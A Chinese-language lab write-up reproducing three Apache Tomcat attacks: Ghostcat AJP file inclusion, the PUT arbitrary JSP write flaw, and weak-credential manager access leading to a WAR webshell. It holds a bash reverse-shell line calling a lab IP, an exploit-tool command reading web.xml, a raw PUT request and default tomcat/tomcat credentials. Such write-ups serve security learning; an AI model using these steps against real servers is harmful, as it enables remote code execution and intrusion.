TOMCAT 漏洞相关复现
Aapache Tomcat AJP 文件包含漏洞(CVE-2020-1938)
[Ghostcat(幽灵猫)](https://www.chaitin.cn/zh/ghostcat) 是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害
实验环境
Tomcat 9.0.30
复现
使用脚本发送ajp包,读取文件
getshell方法
1、假设该tomcat上有文件上传,可以上传图片
2、探测端口存在8009,或者有一些网站会更改AJP的端口如(8099 8001 8011)反正都试一下吧,本人就遇到过改为8099和8001的
3、使用大佬写的工具进行文件读取和文件包含(工具文件读取和包含都存在)
https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read
验证漏洞存在先进行文件读取(读取不到web.xml的情况下可以尝试读取一些已知的文件,可能会没有web.xml
执行语句:python Tomcat_file.py -p 8009 -f /WEB-INF/web.xml 目标Ip
4、上传带有反弹shell语句的图片马
bash -i >& /dev/tcp/192.168.25.1/63000 0>&1
在http://www.jackson-t.ca/runtime-exec-payloads.html网站进行一下转换
5、包含3.jpg,并成功反弹shell(必须要已知路径,当前路径即可,所包含的文件必须在ROOT目录下)
Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)
实验环境
Tomcat版本:8.5.19
影响范围
Apache Tomcat 7.0.0 – 7.0.79
那为什么这里的环境是8.5.19呢,我也不知道
漏洞原理
漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件:
```
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
```
虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用`/`)来绕过了限制。
复现
直接发送以下数据包即可在Web根目录写入shell:
```
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
shell
```
Tomcat7+ 弱口令 && 后台getshell漏洞
Tomcat版本:8.0
## 环境说明
Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。
在`conf/tomcat-users.xml`文件中配置用户的权限:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>
```
可见,用户tomcat拥有上述所有权限,密码是`tomcat`。
正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。
war包放在/usr/local/tomcat8/webapps/下
上传
冰蝎成功连接